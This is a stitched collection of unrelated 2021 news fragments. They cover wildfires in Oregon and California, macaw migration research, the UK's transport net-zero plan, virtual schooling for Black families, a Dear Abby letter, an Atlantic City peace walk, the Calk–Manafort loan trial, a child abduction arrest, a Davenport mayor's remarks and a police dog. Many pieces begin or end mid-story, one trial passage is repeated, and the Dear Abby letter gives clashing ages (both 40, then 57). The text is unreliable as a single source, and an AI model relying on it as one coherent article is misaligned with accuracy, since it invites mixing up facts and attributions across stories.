"As you go out there todayadjust your reality," he said. "We have not seen a fire move like this, in these conditions, this early in the year. Expect the fire to do things that you have not seen before."

The week-old Bootleg Fire had ravaged about 316 square miles (818 square kilometers) by Tuesday morning, threatening about 2,000 homes and destroying more than 20 others, along with other minor structures. The fire's movement prompted authorities to place additional areas under evacuation notice and expand the number of acres ordered closed on an emergency basis inside Fremont-Winema.

Wildland firefighters watch and take video with their cellphones as a plane drops fire retardant on Harlow Ridge above the Lick Creek Fire, southwest of Asotin, Wash., Monday, July 12, 2021. The fire, which started last Wednesday, has now burned over 50,000 acres of land between Asotin County and Garfield County in southeast Washington state. Credit: Pete Caster/Lewiston Tribune via AP

Scientists say climate change has made the West much warmer and drier, and they warn that weather will get wilder as the world warms. They say extreme conditions are often from a combination of unusually random, short-term and natural weather patterns heightened by long-term, human-caused climate change. However, special studies are needed to determine how much global warming is to blame, if at all, for a single extreme weather event.

Firefighters have had some success in keeping the Bootleg Fire out of several small communities.

"Quick actions from crews on the ground prevented numerous homes from catching fire during nighttime ember showers," a U.S. Forest Service statement said Monday.

The fire disrupted three transmission lines that provide electricity to California and the state's power grid operator asked for voluntary power conservation Monday. The California Independent System Operator said Tuesday that the grid was stable and with the forecast for cooler temperatures another call for conservation was not expected.

This photo provided by the Oregon Department of Forestry shows active fire along a ridge at the Grandview Fire near Sisters, Ore., Sunday, July 11, 2021. The wildfire doubled in size to 6.2 square miles (16 square kilometers) Monday, forcing evacuations in the area, while the state's biggest fire continued to burn out of control, with containment not expected until November. Credit: Oregon Department of Forestry via AP

In northeastern California, progress was reported on the state's largest fire so far this year. The Beckwourth Complex, a combined pair of lighting-ignited blazes, was almost 50% contained after blackening more than 145 square miles (375 square kilometers) near the Nevada state line.

Damage was still being tallied in the rural community of Doyle, California, where flames swept in during the weekend and destroyed several homes, including Beverly Houdyshell's.

The 79-year-old said Tuesday that she's too old and too poor to rebuild and isn't sure what her future holds.

"What chance do I have to build another house, to have another home?" Houdyshell said. "No chance at all."

Doyle remained under evacuation orders but other areas were on warning status, meaning residents were told to be ready to leave if necessary.

Shane Durant watches the Bootleg Fire smoke plume while walking his dog, Monday, July 12, 2021, near Bly, Ore. Credit: AP Photo/Nathan Howard

Plumes of smoke from the Bootleg Fire rise over a playground, Monday, July 12, 2021, near Bly, Ore. Credit: AP Photo/Nathan Howard

Shane Durant watches the Bootleg Fire smoke plume while walking his dog, Monday, July 12, 2021, near Bly, Ore. Credit: AP Photo/Nathan Howard

A Klamath County Sheriff's vehicle drives toward smoke from the Bootleg Fire, Monday, July 12, 2021, near Klamath Falls, Ore. Credit: AP Photo/Nathan Howard

The Bootleg Fire smoke plume rises over power lines, Monday, July 12, 2021, near Klamath Falls, Ore. Credit: AP Photo/Nathan Howard

A firefighting helicopter lands at a fire staging area near the Bootleg Fire, Monday, July 12, 2021, in Chiloquin, Ore. Credit: AP Photo/Nathan Howard

After lighting a fire line to burn up fuel for the Lick Creek Fire, a crew of wildland firefighters begin to put out the flames, Monday, July 12, 2021, south of Asotin, Wash. Credit: Pete Caster/Lewiston Tribune via AP

A sign thanking firefighters and first responders hangs near the Bootleg Fire, Monday, July 12, 2021, in Chiloquin, Ore. Credit: AP Photo/Nathan Howard

Wildland firefighters spray water onto a tree that caught fire as they were building a fire line for the Lick Creek Fire, Monday, July 12, 2021, south of Asotin, Wash. Credit: Pete Caster/Lewiston Tribune via AP

A scoop plane drops water onto a burning ridge where a fire line had been created by crews of wildland firefighters, Monday, July 12, 2021, at the Lick Creek Fire, south of Asotin, Wash. Credit: Pete Caster/Lewiston Tribune via AP

A wildland fire crew looks on after setting a fire line on Harlow Ridge above the Lick Creek Fire, Monday, July 12, 2021, south of Asotin, Wash. Credit: Pete Caster/Lewiston Tribune via AP

A fire that began Sunday in the Sierra Nevada south of Yosemite National Park grew to nearly 15 square miles (39 square kilometers) but containment increased to 15%. Four unspecified buildings were destroyed.

Elsewhere, several wildfires burned in north-central Washington state, prompting an evacuation order for the town of Nespelem and surrounding areas. The Northwest Interagency Coordination Center said about 60 lightning strikes were reported Monday on or near the town, sparking five wildfires. The largest had burned approximately 15.6 square miles (40 square kilometers) in grass, sagebrush and timber and had zero containment.

A 9-mile (14.5-kilometer) stretch of Interstate 15 across the corner of northwestern Arizona reopened to traffic Tuesday after a 5 1/2-hour overnight closure due to a brush fire.

Explore further Wildfires torch homes, land across 10 states in US West

 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.
Credit: Pixabay/CC0 Public Domain

New data on macaw movements gathered by the Texas A&M University College of Veterinary Medicine & Biomedical Sciences' (CVMBS) The Macaw Society has the potential to greatly improve conservation strategies for the scarlet macaw, as well as similar species of large parrots.

While the overall conservation status of the scarlet macaw is listed as "least concern" by the International Union for Conservation of Nature, the species is declining across much of Central America and in other parts of its range in South America. The species also shares its habitat with numerous endangered species and influences the ecosystems in which it lives.

The Macaw Society's paper, recently published in Avian Conservation & Ecology, is the result of the long-term research study of the ecology and conservation of macaws and other parrots in Peru's Tambopata National Reserve.

Historically, the migratory movements of large parrots and macaws have largely remained a mystery because of the difficulty of tracking them over the long distances they travel. The recent publication describing the discoveries made using satellite tracking of individual birds over large areas has shed some light on this mystery.

Donald Brightsmith and Gabriela Vigo-Trauco with a blue-and-yellow macaw wearing an ARGOS satellite telemetry collar. Credit: The Macaw Society

The research teamconsisting of Associate Professor Donald Brightsmith; Adjunct Associate Professor Janice Boyd; Elizabeth Hobson from the University of Cincinnati; and Charles Randel from the Southwestern Wildlife Survey in Californiaused ARGOS satellite telemetry (orbiting satellites that detect signals emitted from a transmitter attached to an animal) to track six scarlet macaws and four blue-and-yellow macaws over a period of eight years.

They found that both macaw species had very large home ranges, consisting of thousands of hectares (with 1 hectare equaling 2.471 acres), and often traveled 20 to 40 km (approximately 12 to 25 miles) per day. Individuals of both species moved up to 160 km (99 miles) during the periods of low food availability, likely searching for areas with dense patches of food trees.

"In Southeastern Peru, there are really large protected areas, a million hectares or so (approximately 2.47 million acres), but there's always pressure to use land versus conserve it," Brightsmith said. "So how do we, as conservationists and scientists, justify that we need to conserve such large areas? Why not just save 50 hectares and assume that everything will be able to survive?

"The reality is, that's not the case," he said. "In fact, we found that a lot of the birds left protected areas and flew beyond the one million hectares."

The team also discovered that after the breeding season ended, nearly all of the macaws left the large national parks and protected reserves. This highlights the importance of protecting more than just their nesting location.

"There's this whole other time of the year when they're far away," Brightsmith said. "We need to be thinking about what they need to survive in that part of the landscape, too."

For this project, the team overcame another challenge researchers have faced when trying to track macawsthe birds are extremely intelligent, making it difficult to trap them and attach a transmitter that the birds couldn't remove.

To solve this problem, the researchers used a variety of trapping methods and special ARGOS satellite telemetry collars developed in 2013 by Brightsmith and Boyd, in collaboration with the electronics company Telonics and other industry partners. The system they developed will greatly improve macaw and parrot conservation methods and is already in use in Belize, Costa Rica, Guatemala and Bolivia.

"Our colleagues in Guatemala have found that a lot of macaws will pick up from their breeding grounds in Guatemala, fly long distances to nearby Mexico to spend the non-breeding season there, and then move back. Understanding the birds' ability to move from one big chunk of land to another and that those two populations are actually linked is very important," Brightsmith said. "It shows us what size area we have to be concerned about and where they are likely to be threatened by deforestation or hunting."

The Macaw Society's next major projects will involve sharing knowledge and best practices with other researchers and conservationists in South and Central America.

"A lot of what we're doing now is advising organizations in Costa Rica, Brazil, Argentina, Mexico, Guatemala and other countries," Brightsmith said. "Researchers and conservationists working in 'parrot range nations' have really stepped up. The field is much more developed than it was when I got started, and that's really wonderful."

Brightsmith hopes that the results from this project will not only have a direct impact on the macaws in Peru, but also positively impact other macaws and large parrots, protect native habitats, and increase public interest in conservation throughout the Americas.

"Macaws are really attractive; when people see them, they are always super impressed, so macaws are a good way to connect with regular people and communicate major conservation issues," said Gabriela Vigo-Trauco, CVMBS postdoctoral research associate and co-director of The Macaw Society. "If you can convince people that it's important to conserve one species and that species moves so much and needs so much forest, you are in a good position to protect that entire space and everything else using it."

Explore further US adds two macaws to endangered species list

More information: Donald J. Brightsmith et al, Satellite telemetry reveals complex migratory movement patterns of two large macaw species in the western Amazon basin, Avian Conservation and Ecology (2021). Donald J. Brightsmith et al, Satellite telemetry reveals complex migratory movement patterns of two large macaw species in the western Amazon basin,(2021). DOI: 10.5751/ACE-01822-160114
The sale of new polluting trucks will be phased out by 2040 at the latest and sooner if possible under the UK's latest plan.

Britain unveiled plans Wednesday to decarbonise its transport systems, phasing out the sale of all polluting road vehicles by 2040 and committing the aviation sector to a 2050 net zero emissions target.

Transport Secretary Grant Shapps said the proposals would provide a "credible pathway" for the whole transport sector to reach net zero by mid-century, as the country prepares to host the crucial COP26 climate summit in November.

Prime Minister Boris Johnson last year announced a 10-point plan for "a green industrial revolution" to tackle climate change, which included banning petrol and diesel new vehicle sales by 2030.

The government said it will now phase out the sale of heavier vehicles over the following decade after thator earlier if a faster transition seems feasible.

Meanwhile, it will set the target of achieving carbon neutrality for domestic flights and all airports in England by 2040, and for international flights by 2050.

Its "Jet Zero consultation" being launched will explore the rapid development of emerging clean technologies.

"We must deliver a step change in the breadth and scale of our ambition to reduce transport's GHG (greenhouse gases) emissions to reach net zero," Shapps outlined in a written statement to parliament.

"The plan published today is genuinely high ambitiontechnically and feasiblyfor all areas of transport," he added.

Shapps noted that wholesale decarbonisation will partly rely on future transport technology, coupled with behavioural and societal change.

As part of the push the government said it has brought forward the target date for its fleet of 40,000 cars and vans to be fully zero emission to 2027, three years earlier than previously planned.

The announcement comes ahead of Britain hosting November's COP26 UN summit in Glasgow, Scotland, where it hopes other countries will agree to similarly ambitious targets.

Business lobby group the Confederation of British Industry (CBI) broadly welcomed the measures but warned they must be accompanied by credible plans to accelerate the development of clean technologies.

Environmental campaigners Greenpeace UK also welcomed the aims but urged the government to focus beyond roads to rail and other "active transport".

"With aviation, the net zero targets are welcome, but getting there through technological advances alone is a very big bet on very long odds," Doug Parr, its chief scientist, added.

"We need a mechanism to achieve those same emissions cuts if the advances don't materialise, and that mechanism can't be offsetting."

Explore further UK vows 68 percent emissions cut by end of decade

 2021 AFP
Credit: Unsplash/CC0 Public Domain

A new study from the University of Missouri found the unanticipated transitions to virtual schooling due to COVID-19 exposed the lack of digital resources among Black families in the United States, including access to Wi-Fi and technological savviness. As two-thirds of the country's Black children are born into single-parent households, the findings help explain the extensive stress virtual schooling caused for many Black families trying to keep their children learning and engaged online while at home during the pandemic.

"What we found was parents and caregivers often felt disempowered in the rapidly changing environment, as they did not necessarily feel equipped with the tools or technological savviness to effectively engage in their children's education the way they felt they needed to," said Adaobi Anakwe, an MU post-doctoral fellow and the study's lead author. "Schools were sending students home with devices for online learning without first ensuring families had reliable, consistent internet access to utilize those devices, and this was a big contributor to parental stress and burnout."

Anakwe and Wilson Majee, an associate professor in the MU School of Health Professions, interviewed parents and primary caregivers of Black families in Missouri with school-aged children to better understand their experiences suddenly shifting to virtual schooling due to COVID-19.

Anakwe explained the sudden shift to virtual schooling highlighted the digital divide that already existed for many Black families, as a lack of access to reliable internet can have long-term negative impacts on learning and health outcomes.

"The COVID-19 vaccine rollout showcased how important technological resources can be for making an appointment online," Anakwe said. "And the sudden shift from in-person health care visits to telehealth highlights the role technology can play in facilitating access to health care as well as education."

Anakwe added that even before the pandemic, Black families were already disproportionately faced with single-parent households, disparities in income and unequal access to transportation, housing, healthy foods and recreational facilities.

"We already have a cafeteria menu of social determinants of health that impact Black and minority populations," Anakwe said. "We need to be proactive to prevent the digital divide from becoming another issue that gets added on to an already very long list of challenges Black families deal with."

The COVID-19 pandemic also caused an increase in technology use among students, causing some Black parents to worry about the potential impact on their children's mental health.

"Before the pandemic, parents were tasked with minimizing screen time for their kids and ensuring they spent enough time outside engaged in physical activity," Anakwe said. "Then all of a sudden, parents were forced to encourage their children to use technology to stay engaged in their school work while at home. As COVID-19 lockdowns are starting to end, it will be interesting to see how the messaging around screen time evolves."

Majee said MU Extension and the University of Missouri System Broadband Initiative have helped increase access to broadband internet for rural Missourians, but more collaborative partnerships among community leaders, schools, local governments and families are needed to assist underprivileged Black families.

"Technology is becoming increasingly necessary for success in our lives, so this research can help us better understand the technological challenges facing Black families," Majee said. "Our overall goal is to improve the health of Black families by helping our community members who are most disadvantagedit's a labor of love."

More information: Adaobi Anakwe et al, Sink or Swim: Virtual Life Challenges among African American Families during COVID-19 Lockdown, International Journal of Environmental Research and Public Health (2021). Journal information: International Journal of Environmental Research and Public Health Adaobi Anakwe et al, Sink or Swim: Virtual Life Challenges among African American Families during COVID-19 Lockdown,(2021). DOI: 10.3390/ijerph18084290
We have been talking for the last seven months. We live 6 1/2 hours apart. It seems like rather than rock the boat, he has let other people rule his life. His children are all in their 20s. He tells me he wants to visit and vice versa, to see where things go. We both say marriage is not on the table. I cant even imagine it. His daughters have referred to me as his girlfriend when he has had me on the phone and they are in the background. Please advise.

NO DEFINITE PLANS YET

DEAR NO DEFINITE PLANS: You said your old beau has been living like a monk for the past 13 years. Ordinarily, I would advise you to invite him for a visit. However, in this coronavirus era, you need to know whether he has been vaccinated for COVID before you do that. Discuss this with him during one of your conversations and see how he feels about it.

DEAR ABBY: After 18 years of happy marriage, my husband came to me the other day and asked me to order some leggings, or what I call yoga pants. He said he had seen them on TikTok. Mind you, were both 40. He said theyre sexy and hed love to see me in some. Im not sure how to feel about this. I am 57, weigh about 115 and I have no booty. Should I order the pants or be offended?
We know that medicine heals, but we also know that being together as a family, with joy and togetherness and making lasting memories  that is healing, too, she said.

Ross brought her idea to Blais, who set out to find a location in the village after touring the Ronald McDonald House in Albany. The nonprofit organization operates more than 370 houses in 61 countries.

He settled on Krantzs old office and reached out to his widow, Marcia.

Ronald McDonald House Charities acquired the property in 2019 and began raising funds to complete necessary renovations.

Krantzs daughters, Elyse Krantz and Gayla Langlois, said they were thrilled to see their fathers old law office used for such a good cause. Their father, too, would have been pleased, they said.

To know that our fathers law office, which he occupied for over 30 years, would be reimagined into a vacation of the families of the Ronald McDonald House is both overwhelming and amazing, Langlois said.

Equally excited were village residents, who helped raise funds and donated time to ensure the projects completion.

The pandemic set the project back, but work resumed soon after a contractor was secured last spring.
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Atlantic City community walk calls for peace, thanks outgoing attorney general

Edward Lea, Staff Photographer Assistant Attorney General Andrew Bruck, left, Atlantic City Councilman Kaleem Shabazz and state Attorney General Gurbir Grewal lead a community walk through Atlantic City on Tuesday. Edward Lea, Staff Photographer People take part in a walk Tuesday through Stanley Holmes Village in Atlantic City to promote peace in the wake of a violent six weeks that left four people fatally shot.

ATLANTIC CITY  An organized walk through the citys 3rd Ward on Tuesday afternoon served the dual purpose of saying goodbye to outgoing state Attorney General Gurbir Grewal and calling for an end to violence in the resort.

The crowd, led by Grewal and 3rd Ward Councilman Kaleem Shabazz, made its way from Adriatic Avenue to Stanley Holmes Village and the Elliott House Senior Apartments, stopping every so often to speak to residents sitting on their stoops.

This is what I like to see, you have the whole neighborhood out here, one woman said.

The Atlantic City chapter of the NAACP, the Atlantic County Coalition for a Safe Community and WEHA-FM 88.7 Gospel Radio have collaborated for the past seven summers to hold peace walks throughout the resort.

Shabazz, who helped organize the event, said he wanted to celebrate Grewals final peace walk as attorney general and welcome incoming interim Attorney General Andrew Bruck.

We want to familiarize him (Bruck) with some of the things we do here in Atlantic City and continue building those relationships between the community and law enforcement, Shabazz said.

After serving for more than three years, Grewal, who was the nations first Sikh state attorney general, is leaving to join the Securities and Exchange Commission, effective July 26.

In his new role, Grewal will pursue violations of law among the nations financial markets.

I really love Atlantic City, and I will tell you why: I grew up in a community that wasnt heard, Grewal said. I know what its like to be victimized and not be able to reach out to a law enforcement officer, so when I became AG, I wanted to listen to everyone in the state who wasnt heard.

During his tenure, Grewals office released guidance on legalizing recreational marijuana, implemented a use-of-force dashboard to monitor police violence and sued out-of-state gun retailers for sales in New Jersey.

Grewal said he especially admires the efforts being made by city officials to build trust between the community and law enforcement.

Thats what I fell in love with, I fell in love with the resilience of this city, what the prosecutor, the councilman (Shabazz) and so many of you are doing to build trust, Grewal said.

Bruck, who serves as the current assistant to Grewal, will be the first LGBTQ person to serve as attorney general in the state.

Prior to joining the Attorney Generals Office, Bruck served for five years at the U.S. Justice Department, working as an assistant to the U.S. attorney in New Jersey.

I definitely have big shoes to fill, Bruck said while walking alongside Grewal. I think Attorney General Grewal has made Atlantic City a priority, and one of the best ways that I can honor him is by making Atlantic City a priority as well.

Tuesdays march also called for peace in the resort.

Within a six-week period in May and June, four people were fatally shot in Atlantic City.

Were calling for a summer of peace. There is concern from all levels  local, state and federal  about this violence, Shabazz said. Its disheartening as an elected official, as a father, I hate to even turn on the news because all you hear about is this gun violence. And as a person of color, Im concerned that communities of color are plagued with this violence.

Mayor Marty Small Sr. said his administration is working to continue engaging the residents of Atlantic City to decrease the violence.

With our anti-violence program, our community volunteers and (Atlantic City police interim Officer-in-Charge James) Sarkos leading the way, were going to continue to get to the bottom of this senseless violence, Small said. Weve made strides in the last couple of weeks, but we cant let our guard down. Its days like today when we can come together and walk, it will send a nice message to the people of Atlantic City.

ONLINE See video from the community walk in Atlantic City at PressofAC.com.
A variety of salads and poke bowls offer plenty of light choices, particularly the seafood Cobb salad ($23), while those looking for something a little more hearty can choose from a large variety of sandwiches and burgers, including blackened mahi Hawaiian sliders ($14) with sriracha mayo and shredded lettuce on a Hawaiian roll; a crab cake sandwich ($15) with Old Bay aioli; a burger topped with lobster ($21) and avocado; and their signature lobster roll ($23) with fresh-buttered lobster, Old Bay aioli and lettuce on a brioche long roll.

We are not your typical burgers, fries and pizza place you find all over Ocean City, Bob Idell says. I think we try to differentiate ourselves at all of our restaurants. My son always wanted to bring food that you are more likely to find in Margate or Atlantic City to Ocean City. Right from the get-go with Sunrise Cafe (in 2013), he said: Lets do great food with good portions and stand out from the others. Some places you go to might not value your taste buds like we do. We are not just going to serve something because tourists will eat anything because they are hungry. We want tourists and locals to come here over and over because we are offering quality food. We want our places to be destination restaurants.
+2 Murphy signs clean energy bills for electric cars and solar SEASIDE HEIGHTS  New Jerseys governor signed a package of bills Friday aimed at moving the

Much of the opposition has been generated in coastal communities. Council members in Ocean City have been extremely skeptical about the proposal, as have members of the Cape May County Board of Commissioners.

Local group Save Our Shoreline  Stop the Wind Farms Off the Coast of NJ argues the project will mean significant damage to the environment, the regions fishing industry and the local quality of life. The organization has its own event planned this week. Author and offshore wind critic Michael Shellenberger is scheduled to speak at the Ocean City Music Pier starting at 7 p.m. Thursday.

In his book Apocalypse Never: Why Environmental Alarmism Hurts Us All, Shellenberger argues that climate change is real, but not the end of the world. The event is billed as a counter to the propaganda on wind power from Gov. Phil Murphy and rsted, the company with the contract to develop Ocean Wind, the first of New Jerseys offshore wind projects.

Theres not a government policy thats not opposed by somebody, said Conaway at the Tuesday discussion. He said New Jersey is at the beginning of a process that will eventually pay off by removing carbon emissions from the transportation system.
Grewal emphasized the importance of working together to stop the violence.

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Were seeing an overall rise in this type of conduct, so we have to call it out, wherever we see it, Grewal said. We have to come together to denounce it. We have to do what (Atlantic City police interim Officer-in-Charge James) Sarkos and his men and women in this town are doing, which is build bridges of trust between law enforcement and community so you feel comfortable reporting these crimes.

According to 2019 U.S. Census data, 16.5% of Atlantic Citys population is Asian. At the county and state levels, the percentage is lower, 8.1% and 10%, respectively.

The Asian community is growing here in Atlantic City, Mayor Marty Small Sr. said. We support the Asian community, and were going to continue providing examples of that.

At the Tuesday event, the Atlantic City Fire Department grilled hamburgers and hot dogs while attendees socialized, heard speeches, listened to music and watched cultural performances.

Kim Pham was at the event with her parents and her sister Crystal, who was volunteering with Mainland Regional High School.
In their quest to get answers, the Valiantes received a break in March when a Superior Court judge ruled they could pursue private DNA testing of evidence collected but never tested by authorities.

Attorney Paul DAmato, who has been representing the Valiantes pro bono in their legal pursuits, said he expects a final report from the lab in about a month.

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Two pieces of evidence collected by police  an ax at the scene of the train crash and a key chain at a site on Tilton Road where Tiffanys shoes were found  were missing from the catalog of items to be tested, DAmato said. He added that other pieces of evidence were not stored properly, so he is unsure of what the results of the testing will show.

Tiffanys family is holding out hope.

At the Valiante home Monday, Tiffanys parents released doves, one of which flew and landed just on the edge of a large picture frame holding Tiffanys photograph. Dianne, Tiffanys mother, cupped her hand to her mouth and gasped, and then watched intently as it flew off. She took it as a good sign.

Tiffanys cousin Melissa Monaghan said coming to the home of her aunt and uncle each year is good therapy for the family, and especially for Dianne and Stephen.
MAYS LANDING  Atlantic County Prosecutor Damon G. Tyner has been selected to receive a 2021 Prosecutor of the Year award for his efforts as the countys chief law enforcement officer.

Tyner will accept the award at the annual New Jersey Narcotic Enforcement Officers Association conference luncheon in September in Atlantic City.

Tyner thanked the association for recognizing him and the Atlantic County Prosecutors Office for its efforts to make the community safer and healthier.

I recognized early in my tenure as the Atlantic County prosecutor that our agency needed more resources if we were going to effectively disrupt drug trafficking, Tyner said in a statement.

The Prosecutors Office has been able to identify and prosecute some of the most dangerous drug dealers operating in the region through its inclusion in the Liberty Mid-Atlantic High Intensity Drug Trafficking Area and through collaboration with federal, state and local partners, Tyner said.

Although our state has decided to decriminalize marijuana, and some may think that the war on drugs is over, the reality is that there is a personal battle living within addicts across our state every day, and we have much more work to do, Tyner said.
On the night before he faced his brutal execution at the hands of the Roman Empire, Jesus of Nazareth gathered his followers together for a meal. It was at that meal, commonly known as the Last Supper, that Jesus gave himself to those followers in the simple gifts of bread and wine.

His only instructions to those followers came in these words: Do this in memory of me.

Overwhelmed by fear, despair and naked terror, the male followers of Jesus  with one exception  all deserted him within the next 24 hours in his hour of greatest agony and need. Only John stayed faithful along with a handful of women disciples, as the Roman authorities tortured, mocked and executed him through crucifixion, which still stands among the cruelest, most horrific methods ever devised by human beings to murder a fellow human being.

It is not unfair to say that the male followers of Jesus proved themselves highly unworthy of the title friend much less disciple as the final chapter of Jesus earthly life reached its tormented conclusion. The inspiration of that last meal with Jesus seemed all but lost on them.

What we know from the tradition of the early church and the Christian Scriptures, however, is that the story of Jesus did not end on that day we have come to know  with poignant irony  as Good Friday.
According to the same center, renters are more likely than homeowners to have lost their jobs during the pandemic.

Kelle Larned, the Salvation Armys program director, has about 100 local households on a waiting list for aid after it ran out of $600,000 of Emergency Solutions Grant money last month, she said. That grant program is also run through the Iowa Finance Authority, the same group overseeing this round of state-controlled funds, but she said it had a simpler application process that has caused fewer problems with processing or difficulty distributing funds. Larned has applied for another round of funding to meet Scott County's need, even as state officials have expressed skepticism Iowa may need additional aid beyond what's being allocated now.

The Salvation Army is not involved with distributing the $195 million in rental relief money, but Larned said since the grant program the Salvation Army has applied with has more limited funds, shes turning people to the Iowa Rent and Utility Assistance Program application because there is more money available in that pool.
The aerial imagery and analytics company Ceres Imaging and Bloomington-based Evergreen FS agriculture are partnering on research and product development in row crops, it was announced Tuesday.
During the three-week trial, prosecutors gave jurors proof that Calk played a pivotal role in getting approval for a $9.5 million real estate construction loan and another $6.5 million so Manafort could finish construction on a Brooklyn condominium and avoid foreclosure.

Defense lawyers argued that Calk could not win approval for the loans without the bank's loan committee and underwriters agreeing to the terms. And they noted that the loans were obtained at a time when Manafort was considered wealthy and successful and had not yet been criminally charged.

Early in the trial, Anthony Scaramucci testified that he never would have enabled Calk to get the interview for the administration post if he had know that Calk was helping Manafort to get millions of dollars in loans for his real estate ventures.

Scaramucci had testified that Manafort, who served as Trump's campaign manager for a key stretch from June to early August 2016, reached out to him in mid-to-late December 2016 to encourage him to consider Calk for an important position.

At the time, Scaramucci was working on Trump's presidential transition team.

Although Calk had hoped to become Secretary of the Army, he eventually interviewed for other positions because that post had already been filled, Scaramucci said.
A registered sex offender was arrested in connection with a missing person case in Georgia.

Zachary Despain, 36, of the 400 block of Cross Street, Springfield, was in custody at the Sangamon County Jail awaiting formal charges.

Springfield Police responded to a 911 call about 7 a.m. Saturday from a 13-year-old girl who said she had been abducted from Cochran, Georgia.

Officials said the girl was last seen around 4 p.m. July 6 at her home in Cochran, about 45 minutes south of Macon, Georgia, in Bleckley County.

According to Springfield Police Deputy Chief Joshua Stuenkel, detectives interviewed the girl at the Sangamon County Child Advocacy Center. She provided details about how she talked with the suspect via social media and how he picked her up in Georgia and drove her to Springfield.

Working with Georgia Bureau of Investigation, SPD detectives were able to identify a vehicle suspected used in the case.

A vehicle similar to one described to Georgia authorities was found on surveillance footage in the 900 block of East Monroe Street where the girl was located. After an Illinois State Police registration check, investigators determined the vehicle had been rented by Despain.
During the three-week trial, prosecutors gave jurors proof that Calk played a pivotal role in getting approval for a $9.5 million real estate construction loan and another $6.5 million so Manafort could finish construction on a Brooklyn condominium and avoid foreclosure.

Defense lawyers argued that Calk could not win approval for the loans without the bank's loan committee and underwriters agreeing to the terms. And they noted that the loans were obtained at a time when Manafort was considered wealthy and successful and had not yet been criminally charged.

Early in the trial, Anthony Scaramucci testified that he never would have enabled Calk to get the interview for the administration post if he had know that Calk was helping Manafort to get millions of dollars in loans for his real estate ventures.

Scaramucci had testified that Manafort, who served as Trumps campaign manager for a key stretch from June to early August 2016, reached out to him in mid-to-late December 2016 to encourage him to consider Calk for an important position.

At the time, Scaramucci was working on Trump's presidential transition team.

Although Calk had hoped to become Secretary of the Army, he eventually interviewed for other positions because that post had already been filled, Scaramucci said.

Manafort lost his position in Trumps campaign over his ties to Ukraine. Special counsel Robert Muellers Russia investigation led to his criminal conviction and a sentence of over seven years in prison for financial crimes related to his political consulting work in Ukraine. In December, Trump pardoned him.

Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission.

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Here are 20 things to know about his royal soles:

1. Prince, a massive star with a diminutive body, had a smallish foot. Hiatt, who wears a women's size 8 or 8.5, could easily fit in his shoes, meaning he probably wore a men's size 6.5 or 7. Not that he ever bought any shoes off the rack after 1981 or so.

2. Prince had shoes made for every outfit, usually out of the same material as the outfit. But when it came to more generic shoes  say white, black, peach or turquoise  he'd require three or four pairs of each.

"Matching the boots to the colorful suits was a bit much, it wasn't the way one with any fashion sense normally dressed," Leeds said. "But this was rock 'n' roll where rules were nonexistent. And it didn't escape me that matching from head to toe tended to elongate a rock star who was self-conscious about his height."

3. Prince would sit with Hiatt and pore over European fashion magazines  Vogue, Elle, Cosmopolitan, et al  for inspiration. He'd give her ideas, she'd draw sketches and get his feedback and take the instructions to the designers.
Despite a weather postponement and a bit of rain, researchers and the public recorded 749 species during the 2021 BioBlitz in the Illiniwek Forest Preserve.

Participants included scientists, naturalists and people interested in nature from around the Quad-Cities. They scoured the preserve, Elton E Fawks Bald Eagle Refuge Nature Preserve and Fisherman's Corner over a 24-hour period on July 9 and 10, surveying animals, plants and invertebrates. The chosen areas total 369 acres.

Among the findings were the Indiana and northern long-eared bats  both federally endangered  several rare plants, including the Illinois-endangered long beech fern; and the endangered butterfly mussel.

Brian Ritter, executive director of the Nahant Marsh Education Center, said the rain might have kept some species from coming out, but plenty were found and turnout was good.

+2 BioBlitz invites public to help survey local species at Illiniwek Forest Preserve Researchers and members of the public will have 24 hours to find and log as many species as possible in the Illiniwek Forest Preserve during the 2021 BioBlitz.

"Overall it went really well," Ritter said.

Findings from the July 9 and 10 BioBlitz:
"If we have problems and run away from each other, nothing gets solved," he said. "If we disagree and have issues, you come together and talk about them. Again, we might have tough conversations. We might disagree. But, we got to be talking. We've got to be working, and we've got to be try to do that for the benefit of the citizens of Davenport. And, I am so appreciative for your guys and so appreciative to be partners with you."

Matson too, highlighted the citys financial health. Despite the financial challenges caused by the pandemic, city leaders avoided reductions in staffing and service delivery and dipping into city reserves, maintaining a 25% fund balance that positions the city for a strong recovery while also providing "hundreds of thousands of dollars" in assistance for small businesses and residents struggling to pay rent and mortgage bills.

He also lauded city officials' speed and efficiency in negotiating successful contracts with the city's four collective bargaining units providing increased pay for city workers, including police and firefighters.

"We still believe in and value our employees," Matson said.
WHAT WE KNOW: Every year, students graduate out of the special education program at Geneseo High School.

WHAT'S NEW: Jenn Johnson of Inspired Continuing Care explained to council members Tuesday her new daytime community program for young adults that have aged out of special education or graduated from high school. She noted many youths don't qualify for the Abilities Plus jobs program in Kewanee. She said sometimes those adults' only option is to stay at home, which can be a "very challenging and depressing time." Inspired Continuing Care keeps young adults in their own community, "present, active and engaged" and continuing life skills they've learned in school. Johnson is hoping to partner with businesses in town. The program is funded through grants, private donations and participant tuition.
A good Wednesday to all. Showers and thunderstorms  some possibly severe with flash flooding  are likely tonight. So keep your eye to the sky.

Here is the latest info from the National Weather Service.

1. A high in the upper 80s

Today will see a 30% chance of showers and thunderstorms between 3 p.m. and 5 p.m. Skies will be partly sunny with a high near 88 degrees. South winds between 5 to 15 mph will gust as high as 20 mph.

Tonight showers and thunderstorms are likely overnight. Some of the storms could produce heavy rainfall. Skies will be mostly cloudy with a low around 73 degrees. South winds will gust as high as 20 mph. Chance of precipitation is 60% with new rainfall amounts between a half and three quarters of an inch possible.

Thursday: Showers and thunderstorms are likely. Some of the storms could produce heavy rainfall. The daily high will be near 81 degrees. Southwest winds will gust as high as 20 mph. The chance of precipitation is 80% with new rainfall amounts between 1 and 2 inches possible.

Thursday night: There's a 50% chance of showers and thunderstorms. Skies will be mostly cloudy with a low around 67 degrees. New rainfall amounts between a half and three quarters of an inch are possible.
"They can smell things we can't," VenHuizen said. "We get people who run from us and the dogs can search a very large area a lot quicker than a bunch of cops walking around with flashlights. They can smell narcotics in cars; they locate evidence very quickly when there is human scent attached to it. They can find people who are hiding inside a building. The dogs are very thorough; you can see they have a lot of energy and are very driven to do their work."

Sgt. Ryan DeRudder was the department's K-9 handler from 2008 to 2016 when his dog, Jago, also a Belgian Malinois, retired from the department. After Jago came K-9 Officer Bosco, whose handler was Officer Andrew Lawler. Sparky will now take over for Bosco, who retired a few months ago.

DeRudder said being a dog handler also was a sacrifice because during those years, the officer is not eligible for promotions and cannot move to other departments, like becoming a detective.

